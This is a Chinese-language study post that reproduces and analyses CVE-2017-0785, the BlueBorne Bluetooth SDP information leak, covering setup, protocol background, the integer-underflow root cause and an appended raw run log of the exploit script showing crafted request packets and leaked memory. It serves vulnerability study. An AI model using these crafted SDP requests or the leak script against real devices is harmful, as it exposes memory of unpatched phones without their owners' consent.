-
-
[原创]蓝牙学习笔记 —— CVE-2017-0785
-
2022-4-6 18:09 4045
-
本篇文章以学习蓝牙相关知识为目的,从蓝牙漏洞入手,了解蓝牙协议。
我的研究过程是先复现 CVE-2017-0785 漏洞,分析PoC代码,然后去学习蓝牙相关协议,再理解漏洞原理
为了帮助大家理解,这篇文章会先介绍一下相关协议,再去分析漏洞,构造PoC
1. 准备工作
1.1 环境
蓝牙适配器
nexus5(Android 6)
kali (21.2)
python2.7(kali自带)
1.2 安装依赖:
安装pip2:
python2 get-pip.py
安装dev:
sudo apt install python2-dev libbluetooth-dev
pip2安装python-packages
pthon2 -m pip install setuptools --upgrade -i
https://pypi.douban.com/simplepython2 -m pip install pybluez==0.22 -i https://pypi.douban.com/simple
python2 -m pip install pwntools pwn scapy pathlib2 -i
https://pypi.douban.com/simple
1.3 启动蓝牙网卡
这里需要先确认蓝牙适配器的网卡具体是哪个
我的是hci1
sudo service bluetooth start
hciconfig hci1 up
2. 漏洞复现
我们从 CVE-2017-0785 这个漏洞入手
将我们的攻击机器作为客户端,将受影响设备作为服务端,主动向受影响设备发起连接
python2 leak.py TARGET=XX:XX:XX:XX:XX:XX
只需要蓝牙地址,不需要已完成的配对(需要当前蓝牙处于未连接的状态)
3. 协议分析
根据漏洞描述,该漏洞发生在SDP(服务发现协议)服务中
先引入几个概念:
蓝牙协议分为传输协议、中介协议和应用协议
L2CAP(逻辑链路控制与适配器,高层传输协议,为高层程序提供有效、有利于实现数据分组格式)
SDP(服务发现协议,中介协议,为高层应用协议或者程序,在蓝牙逻辑链路上工作提供必要的支持,为应用提供不同标准接口)
Request PDU(SDP 客户端向服务端发送的数据包,也就是代码中send的那部分内容,为方便理解,后面称请求包)
Response PDU(SDP 服务端向客户端发送的数据包,也就是代码中recv的那部分内容,为方便理解,后面称返回包)
Maximum Transmission Unit(MTU,最大传输单元;L2CAP层数据字段)
Continuation State (解决分段传输问题而定义的字段,后面详细介绍如何定义的)
3.1 什么情况下会导致分段
在 L2CAP 连接建立后,发送SDP数据包之前
两端的设备会交换各自接收数据时支持的 MTU
当服务端发现要传输的数据,超过客户端设备L2CAP设置定义的最大传输单元时(poc中设置的50),就会分段传输
3.2 分段机制
服务端触发分段机制后,会在返回包的最后定义 Continuation State
Continuation State 包含 Continuation State Length 和 Continuation State Value 两部分
当客户端收到返回包后,会把 Continuation State 拿出来,放到下一个发送包中发送给服务端
然后服务端根据收到的 Continuation State 再确定下一个应传输的数据分段
直到所有数据全部传输完毕(如果没有 Continuation State 字段表示传输完毕)
3.3 Continuation State 的定义
参考安卓源码
platform/system/bt/stack/sdp/sdpint.h
当使用 SDP_SERVICE_SEARCH_REQ/RSP PDU 时
cont_offset 表示下一个分段中起始数据项相对不分段完整数据项的偏移
这里的数据项具体指的是 service record handle
简单理解:
服务端发现要传输的数据大于MTU,要分成100个service record handle发送
每个包返回9个service record handle
那么发第一个包时,cont_offset 就为 9(也就是返回包中 Continuation State Value 字段的值)
当发第二个包时,又发了9个,cont_offset 就是18,用16进制表示就是 0x12
客户端只需要在发包的时候,带上 Continuation State 字段
服务端就能找到还没有传输的数据的起始位置,从而继续传输分段数据。
依此类推,直到全部发送完毕
4. 漏洞分析
再引入几个概念:
这部分的几个关键字是在代码中的变量
uid_seq (ServiceSearchPattern)服务类型,0x0001对应SDP,0x0003对应RFCOMM、0x0005对应TCS,0x1000表示L2CAP
max_replies (MaximumServiceRecordCount)接受返回包的最大句柄数
service record handle 服务端需要返回的句柄,也就是客户端请求的数据
rsp_handles 存放句柄的数组
num_rsp_handles (Total Service Record Count) 句柄总数
rem_handles 剩余要传输的句柄数
cur_handles 返回包中最多携带的句柄数
4.1源码分析
下面的分析,是在触发分段机制的情况下分析
首先,服务端会提取 Continuation State 字段信息,并存入cont_offset
服务端从客户端获取 uid_seq 和 max_replies
服务端找到所有与 uid_seq 所匹配的数据,存放在 service record handle 中,并把它们存储在 rsp_handles 数组中
而 max_replies 则用于限制这些 handle 的总数 num_rsp_handles
4.2 攻击思路
对于每一个请求,num_rsp_handles 都会被重新计算一次
于是攻击者可以先发送正常的请求包,正常触发 continuation state 机制
(为了增加触发 continuation state 的概率,可以配置一个很小的 L2CAP MTU)
首先发送 MaximumServiceRecordCount 为256的请求包
图中是返回包的数据信息,表示正常情况下应发的 service record handle 为12条,已经发送了9条
然后后面发送 MaximumServiceRecordCount 为 1 的请求包
就会导致 num_rsp_handles 由256变为1
当 num_rsp_handles == 1 时
服务端会用 num_rsp_handles 减去 cont_offset(已经传输的数量)
从而得到剩余需要传输的 handle 数量 rem_handles
由于 num_rsp_handles == 1 ,且 rem_handles 的类型为 uint16_t
所以 rem_handles 发生下溢(漏洞根本原因)
下面是整数下溢的demo
#include <stdio.h>
#include <stdint.h>
#include <limits>
int main(int argc, char **argv){
uint16_t x = -1;
printf("%d", x == UINT_MAX ? 1 : 0);
return 0;
}
接下来服务端会根据远端设备 L2CAP 配置的 MTU
计算当前返回包中最多能携带的 handle 数量 cur_handles
接着
下溢的 rem_handles 总是大于 cur_handles,导致 continuation state 可以一直执行
结果就是服务端会把位于 cont_offset 到 cont_offset + cur_handles 之间的 handle 写入返回包(正常应该读取到的数据)
由于持续的 continuation state,会导致 cont_offset 不断增大
当 cont_offset 超过原本应该返回的数据之后,就会发生越界读,最终导致内存泄露
5.参考文章
BlueBorne Attack Research & Solutions | Armis Labs
http://%28https//www.armis.com/research/blueborne/)
BlueBorne 之 CVE-2017-0785 原理分析 - 先知社区 (aliyun.com)
https://xz.aliyun.com/t/7551?page=1
【漏洞分析】BlueBorne 蓝牙漏洞深入分析与PoC - 安全客,安全资讯平台
https://www.anquanke.com/post/id/86949
蓝牙核心技术概述(一):蓝牙概述-CSDN
https://blog.csdn.net/xubin341719/article/details/38145507
6.附件
/usr/bin/python2 /root/Desktop/BlueBorne/leak.py TARGET=XX:XX:XX:XX:XX:XX [x] Exploit [x] Exploit: Creating L2CAP socket [x] Exploit: Connecting to target [x] Exploit: Sending packet 0 00000000 02 00 00 00 08 35 03 19 01 00 01 00 00 │····│·5··│····│·│ 0000000d [x] Exploit: Recv packet 0 00000000 03 00 00 00 2b 00 0c 00 09 00 01 00 00 00 01 00 │····│+···│····│····│ 00000010 01 00 01 00 03 00 01 00 04 00 01 00 05 00 01 00 │····│····│····│····│ 00000020 06 00 01 00 07 00 01 00 08 00 01 00 09 02 00 09 │····│····│····│····│ 00000030 [x] Exploit: Sending packet 1 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 09 │····│·5··│····│···│ 0000000f [x] Exploit: Recv packet 1 00000000 03 00 00 00 2b 00 00 00 09 00 00 00 00 00 00 00 │····│+···│····│····│ 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 12 │····│····│····│····│ 00000030 !!!! 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000020 00 00 00 00 │····│ 00000024 [x] Exploit: Sending packet 2 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 12 │····│·5··│····│···│ 0000000f [x] Exploit: Recv packet 2 00000000 03 00 00 00 2b 00 00 00 09 00 00 00 00 00 00 00 │····│+···│····│····│ 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 1b │····│····│····│····│ 00000030 !!!! 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000020 00 00 00 00 │····│ 00000024 [x] Exploit: Sending packet 3 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 1b │····│·5··│····│···│ 0000000f [x] Exploit: Recv packet 3 00000000 03 00 00 00 2b 00 00 00 09 00 00 00 00 00 00 00 │····│+···│····│····│ 00000010 00 00 00 00 00 00 02 00 01 00 00 01 00 b3 9b da │····│····│····│····│ 00000020 fb 00 00 00 00 b0 73 43 c8 ae d5 0f 60 02 00 24 │····│··sC│····│`··$│ 00000030 !!!! 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 01 │····│····│····│····│ 00000010 00 00 01 00 b3 9b da fb 00 00 00 00 b0 73 43 c8 │····│····│····│·sC·│ 00000020 ae d5 0f 60 │···`│ 00000024 [x] Exploit: Sending packet 4 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 24 │····│·5··│····│··$│ 0000000f [x] Exploit: Recv packet 4 00000000 03 00 00 00 2b 00 00 00 09 b3 a1 dd 70 b3 9a 87 │····│+···│····│p···│ 00000010 4d 00 00 00 08 00 00 00 00 00 00 00 01 b3 9a 1a │M···│····│····│····│ 00000020 a9 b3 9b b2 c3 00 00 75 30 00 00 00 00 02 00 2d │····│···u│0···│···-│ 00000030 !!!! 00000000 b3 a1 dd 70 b3 9a 87 4d 00 00 00 08 00 00 00 00 │···p│···M│····│····│ 00000010 00 00 00 01 b3 9a 1a a9 b3 9b b2 c3 00 00 75 30 │····│····│····│··u0│ 00000020 00 00 00 00 │····│ 00000024 [x] Exploit: Sending packet 5 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 2d │····│·5··│····│··-│ 0000000f [x] Exploit: Recv packet 5 00000000 03 00 00 00 2b 00 00 00 09 b3 af 00 b4 b3 af f5 │····│+···│····│····│ 00000010 c4 b3 af 00 b4 b3 af f5 c4 ae d5 0f 60 b3 9b b5 │····│····│····│`···│ 00000020 37 b3 9a 87 4d b3 af 00 b4 00 00 00 00 02 00 36 │7···│M···│····│···6│ 00000030 !!!! 00000000 b3 af 00 b4 b3 af f5 c4 b3 af 00 b4 b3 af f5 c4 │····│····│····│····│ 00000010 ae d5 0f 60 b3 9b b5 37 b3 9a 87 4d b3 af 00 b4 │···`│···7│···M│····│ 00000020 00 00 00 00 │····│ 00000024 [x] Exploit: Sending packet 6 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 36 │····│·5··│····│··6│ 0000000f [x] Exploit: Recv packet 6 00000000 03 00 00 00 2b 00 00 00 09 00 00 00 00 b4 d0 9b │····│+···│····│····│ 00000010 88 b0 73 43 c8 ae c2 80 00 b3 b3 e1 30 b6 ce 03 │··sC│····│····│0···│ 00000020 0c b4 d0 9b 80 b6 cd 35 94 b4 d0 9b 88 02 00 3f │····│···5│····│···?│ 00000030 !!!! 00000000 00 00 00 00 b4 d0 9b 88 b0 73 43 c8 ae c2 80 00 │····│····│·sC·│····│ 00000010 b3 b3 e1 30 b6 ce 03 0c b4 d0 9b 80 b6 cd 35 94 │···0│····│····│··5·│ 00000020 b4 d0 9b 88 │····│ 00000024 [x] Exploit: Sending packet 7 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 3f │····│·5··│····│··?│ 0000000f [x] Exploit: Recv packet 7 00000000 03 00 00 00 2b 00 00 00 09 b0 73 43 c8 b6 cb 61 │····│+···│··sC│···a│ 00000010 e3 00 00 00 00 00 00 00 08 b3 68 7d 18 ae d5 11 │····│····│··h}│····│ 00000020 a0 b3 a1 dd 68 00 00 00 00 b3 b3 e1 30 02 00 48 │····│h···│····│0··H│ 00000030 !!!! 00000000 b0 73 43 c8 b6 cb 61 e3 00 00 00 00 00 00 00 08 │·sC·│··a·│····│····│ 00000010 b3 68 7d 18 ae d5 11 a0 b3 a1 dd 68 00 00 00 00 │·h}·│····│···h│····│ 00000020 b3 b3 e1 30 │···0│ 00000024 [x] Exploit: Sending packet 8 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 48 │····│·5··│····│··H│ 0000000f [x] Exploit: Recv packet 8 00000000 03 00 00 00 2b 00 00 00 09 b3 68 7d 18 ae d5 11 │····│+···│··h}│····│ 00000010 a0 b3 a1 dd 68 00 00 00 00 b3 9b db c1 00 00 00 │····│h···│····│····│ 00000020 00 b3 9b da fb ae d5 11 a0 b3 9b b1 35 02 00 51 │····│····│····│5··Q│ 00000030 !!!! 00000000 b3 68 7d 18 ae d5 11 a0 b3 a1 dd 68 00 00 00 00 │·h}·│····│···h│····│ 00000010 b3 9b db c1 00 00 00 00 b3 9b da fb ae d5 11 a0 │····│····│····│····│ 00000020 b3 9b b1 35 │···5│ 00000024 [x] Exploit: Sending packet 9 00000000 02 00 00 00 0a 35 03 19 00 01 00 01 02 00 51 │····│·5··│····│··Q│ 0000000f [x] Exploit: Recv packet 9 00000000 03 00 00 00 2b 00 00 00 09 ae d5 11 a0 b3 a1 dd │····│+···│····│····│ 00000010 70 b3 9a 87 4d b3 ad e5 14 00 00 00 00 00 00 00 │p···│M···│····│····│ 00000020 0f 00 00 00 00 b3 9b b2 c3 00 00 75 30 02 00 5a │····│····│···u│0··Z│ 00000030 !!!! 00000000 ae d5 11 a0 b3 a1 dd 70 b3 9a 87 4d b3 ad e5 14 │····│···p│···M│····│ 00000010 00 00 00 00 00 00 00 0f 00 00 00 00 b3 9b b2 c3 │····│····│····│····│ 00000020 00 00 75 30 │··u0│ 00000024 [+] Exploit: Done 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000050 00 00 00 00 00 02 00 01 00 00 01 00 b3 9b da fb │····│····│····│····│ 00000060 00 00 00 00 b0 73 43 c8 ae d5 0f 60 b3 a1 dd 70 │····│·sC·│···`│···p│ 00000070 b3 9a 87 4d 00 00 00 08 00 00 00 00 00 00 00 01 │···M│····│····│····│ 00000080 b3 9a 1a a9 b3 9b b2 c3 00 00 75 30 00 00 00 00 │····│····│··u0│····│ 00000090 b3 af 00 b4 b3 af f5 c4 b3 af 00 b4 b3 af f5 c4 │····│····│····│····│ 000000a0 ae d5 0f 60 b3 9b b5 37 b3 9a 87 4d b3 af 00 b4 │···`│···7│···M│····│ 000000b0 00 00 00 00 00 00 00 00 b4 d0 9b 88 b0 73 43 c8 │····│····│····│·sC·│ 000000c0 ae c2 80 00 b3 b3 e1 30 b6 ce 03 0c b4 d0 9b 80 │····│···0│····│····│ 000000d0 b6 cd 35 94 b4 d0 9b 88 b0 73 43 c8 b6 cb 61 e3 │··5·│····│·sC·│··a·│ 000000e0 00 00 00 00 00 00 00 08 b3 68 7d 18 ae d5 11 a0 │····│····│·h}·│····│ 000000f0 b3 a1 dd 68 00 00 00 00 b3 b3 e1 30 b3 68 7d 18 │···h│····│···0│·h}·│ 00000100 ae d5 11 a0 b3 a1 dd 68 00 00 00 00 b3 9b db c1 │····│···h│····│····│ 00000110 00 00 00 00 b3 9b da fb ae d5 11 a0 b3 9b b1 35 │····│····│····│···5│ 00000120 ae d5 11 a0 b3 a1 dd 70 b3 9a 87 4d b3 ad e5 14 │····│···p│···M│····│ 00000130 00 00 00 00 00 00 00 0f 00 00 00 00 b3 9b b2 c3 │····│····│····│····│ 00000140 00 00 75 30 │··u0│ 00000144 Process finished with exit code 0